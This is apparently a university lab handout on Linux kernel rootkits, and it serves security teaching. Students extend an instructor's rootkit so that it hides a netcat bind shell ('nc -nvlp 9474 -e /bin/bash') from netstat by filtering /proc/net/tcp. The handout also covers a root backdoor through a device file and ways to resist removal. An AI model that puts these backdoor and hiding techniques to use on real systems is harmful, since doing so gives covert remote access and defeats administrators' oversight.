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Lab 6: Kernel Rootkits

This lab will introduce you to both kernel module programming and to kernel backdoors and rootkits. You will take an existing kernel rootkit written by your instructor and extend it.

Due Date: Monday 10/02/23 before class

Lab Description

This lab will guide you through kernel rootkit construction. More details are in the code’s repo and below, but here is the gist. The rootkit already has the following capabilities implemented by your instructor:

  • Hide the rootkit source and object files from the filesystem (b4rnd00r.{c,ko})
  • Hide the rootkit from the kernel’s list of loaded modules (by scrubbing /proc/modules)
  • Hide a parasite library (used for optional binary exploitation/ELF poisoning lab),, (by scrubbing /proc/PID/maps)
  • Creates a local backdoor to get us root by exposing a device file at /dev/b4rn. When a user writes a special string to that file, the user will become root.
  • Hiding the backdoor character device file (/dev/b4rn).

Getting the Code

You’ll want to use the SEED 16.04 Ubuntu VM for this lab. In the VM, you can get the code for this lab by cloning your instructor’s repo:

git clone

Make sure to go through the README in the repo. The SEED VM should have everything necessary to load the rootkit.

Using your own VM If you have an existing Ubuntu 16.04 VM, or want to set up your own on AWS or some other cloud provider, just make sure you sudo apt install make build-essential.

Task 1: The code

Understand the code. You should realize that the kernel module’s entry point (b4rn_init()) is invoked after the module is loaded by the kernel (e.g., by insmod or modprobe). Start there and read comments carefully.

Task 2: The Backdoor

Could an attacker use the backdoor exposed by the rootkit to remotely get access? Explain why or why not.

Realize that this is a pretty rudimentary backdoor. There are certainly more stealthy ways to do this (e.g., so we don’t create an unwanted device file on the system). Can you think of any?

By the way, there have been nefarious attempts to backdoor the kernel itself, though they were unsuccessful. This isn’t limited by any means to kernel space. The NSA is suspected to have backdoored a standard altorithm widely used for encryption. Your instructor’s favorite example of a backdoor was one injected by a C compiler into the UNIX login program, devised by the UNIX man himself. Definitely worth a read.

Task 3: Hiding in Plain Sight

Explain why we must (1) use function pointers and kallsyms_*() functions to call certain routines and (2) manipulate cr0 and page protections to install our function overrides.

Suppose I wanted to make it very hard for a system administrator to remove my rootkit from the system. What are some things I could do to prevent that? (Hint: there is a reboot() system call)

Task 4: Remote Backdoor

For this task you’ll be extending b4rnd00r to hide a remote backdoor (i.e., a bindshell running on the system). First run a bind shell like so:

nohup nc -nvlp 9474 -e /bin/bash >/dev/null 2>&1 &

(note, you may have to install netcat-traditional for this to work).

This listens on port 9474, and when a client connects it will spawn a shell and send output back out over the network socket. The nohup command prevents the netcat program from exiting after we log out of the system (which we would probably do after we’ve owned a machine and set up the backdoor). The redirection just silences output on the server side.

If you’ve got bridged networking set up for your VM, you should be able to access this bind shell as follows from your host machine:

nc <VM-IP> 9474

You can access it with NAT networking as well, but you’ll have to forward the 9474 port with your hypervisor. It’s probably just easier to use bridged networking. Other than the nc process itself, the listening socket can be seen by an auditor pretty easily by using netstat:

$ netstat -tl
    Active Internet connections (only servers)
    Proto Recv-Q Send-Q Local Address           Foreign Address         State      
    tcp        0      0 cato:domain   *               LISTEN     
    tcp        0      0 localhost:ipp *               LISTEN     
    tcp        0      0  *               LISTEN     
    tcp6       0      0 localhost:ipp           [::]:*                  LISTEN     
    tcp6       0      0 [::]:9474               [::]:*                  LISTEN

This is no good if we’re trying to be stealthy. We can pretty much guess that this information is coming from the kernel, and almost certainly from /proc somewhere, and that netstat is really just sugar coating the kernel’s output. We can do some digging to find out exactly where:

 $ strace netstat -tl 2>&1 | grep "^open" | grep "proc"
    openat(AT_FDCWD, "/proc/net/tcp", O_RDONLY) = 3
    openat(AT_FDCWD, "/proc/net/tcp6", O_RDONLY) = 3

Sure enough, netstat is really just a wrapper around the /proc interface. Let’s see the raw information straight from the source (the kernel):

$ cat /proc/net/tcp
     sl  local_address rem_address   st tx_queue rx_queue tr tm->when retrnsmt   uid  timeout inode
       0: 017AA8C0:0035 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 34934 1 000000007060ba94 100 0 0 10 0 
       1: 0100007F:0277 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 30174 1 00000000d07a82df 100 0 0 10 0
       2: 00000000:2502 00000000:0000 0A 00000000:00000000 00:00000000 00000000  1000        0 59441 1 000000003a4d11ec 100 0 0 10 0

You can see why netstat exists now. This output is pretty opaque. If we realize that 9474 is actually 0x2502, however, we can pretty easily identify our bind shell. This gives us a hint on how to hide our connection then, because we really just need to scrub this output to remove that line in our rootkit. This is your task!

Some hints:

  • You should be able to use the same seq_file technique used for the maps file.
  • You will likely need to include the header files linux/inet.h and net/tcp.h
  • Network sockets are also exposed in /proc. You will focus on TCP (IPv4). You will thus need to take a look at /proc/net/tcp (or /proc/self/net/tcp).
  • You’ll want to see the tcp4_seq_show() function.
  • When you override the seq file, you will need to use the struct inet_sock structure (which you can derive from the v pointer in your seq handler). Given a struct sock * sk, you will need to extract the port number from the socket structure like so: ntohs(inet_sk(sk)->inet_sport).
  • You don’t need to use unprotect_page() and protect_page() like was done for the maps file.
  • Make sure not to dereference the special start socket (if v==SEQ_START_TOKEN, just pass it along to the normal seq function).


Please write your lab report according to the description. Please also list the important code snippets followed by your explanation. You will not receive credit if you simply attach code without any explanation. Upload your answers as a PDF to blackboard

Prerequisite Reading

Linux Kernel Module Programming Guide (Chs. 1-7)

Further Reading